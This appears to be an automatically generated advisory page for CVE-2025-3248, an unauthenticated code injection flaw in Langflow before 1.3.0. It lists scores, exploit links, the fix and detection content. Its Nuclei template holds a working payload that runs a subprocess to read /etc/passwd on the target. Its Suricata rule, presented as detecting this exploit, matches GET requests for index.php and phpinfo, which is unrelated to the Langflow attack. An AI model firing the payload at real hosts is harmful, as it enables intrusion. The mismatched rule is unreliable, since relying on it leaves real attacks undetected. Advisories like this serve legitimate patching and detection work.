CVE-2025-3248: Langflow Missing Authentication Vulnerability

What it is

Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.

Description quoted from the CVE record (assigned by VulnCheck, published 2025-04-07).

Weakness: CWE-306 Missing Authentication for Critical Function

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since

2025-05-05

US federal deadline

2025-05-26

Ransomware use

Yes

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-06683, CNNVD-202504-1135, EDB-52262, EDB-52364, EUVD-2025-10011, EUVD-2026-13556, GHSA-c995-4fw3-j39m, GHSA-rvqx-wpfh-mfx7, GHSA-vwmf-pq79-vjvx, SNYK-PYTHON-LANGFLOW-9668946

VEDAS cluster: VEDAS:BARKINGBEAGLE

Exploit Observer links 45 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (45)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

• Metasploit module: https://www.rapid7.com/db/modules/exploit/multi/http/langflow_unauth_rce_cve_2025_3248/
• Exploit-DB: https://www.exploit-db.com/raw/52262
• Exploit-DB: https://www.exploit-db.com/raw/52262
• Exploit-DB: https://www.exploit-db.com/raw/52364
• Exploit-DB: https://www.exploit-db.com/raw/52364
• Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-3248.yaml
• Code repository: https://github.com/0xgh057r3c0n/cve-2025-3248
• Code repository: https://github.com/12-test-12/cve-2025-3248
• Code repository: https://github.com/ashwesker/blackash-cve-2025-3248
• Code repository: https://github.com/b0ysie7e/cve-2025-3248-poc
• Code repository: https://github.com/b1ack4sh/blackash-cve-2025-3248
• Code repository: https://github.com/bambooqj/cve-2025-3248
• and 33 more

Research and write-ups (5)

• Research or write-up: https://blog.polyswarm.io/threat-actors-exploit-cve-2025-3248-to-deliver-flodrix-botnet
• Research or write-up: https://cloudsmith.com/blog/cve-2025-3248-serious-vulnerability-found-in-popular-python-ai-package
• Research or write-up: https://hackread.com/langflow-vulnerability-cve-2025-3248-actively-exploited-cisa
• Research or write-up: https://www.picussecurity.com/resource/blog/cve-2025-3248-cve-2026-5027-langflow-rce
• Research or write-up: https://www.zscaler.com/blogs/security-research/cve-2025-3248-rce-vulnerability-langflow

Vulnerability databases and vendor advisories (14)

Catalogue entries, not exploit evidence.

• Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2025-3248
• Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-10011
• Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-13556
• Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-c995-4fw3-j39m
• Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-rvqx-wpfh-mfx7
• Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-vwmf-pq79-vjvx
• Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-3248
• Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-c995-4fw3-j39m
• Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-rvqx-wpfh-mfx7
• Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-vwmf-pq79-vjvx
• Vulnerability database or vendor advisory: https://security.snyk.io/vuln/SNYK-PYTHON-LANGFLOW-9668946
• Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-3248
• and 2 more

235 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS

1.000
very likely to be attacked soon

VEDAS

0.985
strong exploit evidence

On CISA KEV

Yes, since 2025-05-05

Detection rule

Nuclei · Suricata

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: langflow langflow, сообщество_свободного_программного_обеспечения langflow.

How to fix it

Fixed versions stated in the CVE record: 1.3.0.

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

• https://github.com/langflow-ai/langflow/releases/tag/1.3.0 (release-notes)

How to detect it

Nuclei template (active check)

Python - Missing Authentication

Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /api/v1/validate/code); it decides using regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2025-3248.yaml

id: CVE-2025-3248

info:
  name: "Python - Missing Authentication"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. A
    remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-3248&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=python&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-3248
    cwe-id: CWE-306
  metadata:
    verified: false
  tags: cve,cve2025,python,rce,injection,kev,langflow,vkev,vuln
http:
  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"cat\", \"/etc/passwd\"]))')\ndef foo():\n  pass"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

CVE-2025-3248.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-3248 Python - Missing Authentication. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-3248 Python - Missing Authentication"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"index.php"; nocase; fast_pattern; content:"phpinfo"; nocase; classtype:web-application-attack; reference:cve,CVE-2025-3248; reference:url,https://www.exploit.observer/?keyword=CVE-2025-3248&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=python&match=exact; sid:1000425; rev:2;)

CVE-2025-3248.rules on GitHub

Advisories on this CVE

• Langflow unauthenticated code injection (CVE-2025-3248) (5 May 2025)

References

Vendor advisories and patches

• https://github.com/langflow-ai/langflow/releases/tag/1.3.0 (release-notes)

Exploits and technical analysis

• https://github.com/langflow-ai/langflow/pull/6911 (issue-tracking)
• https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/ (exploit)
• https://www.vulncheck.com/advisories/langflow-unauthenticated-rce (third-party-advisory)

Government sources

• https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-3248 (government-resource)

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.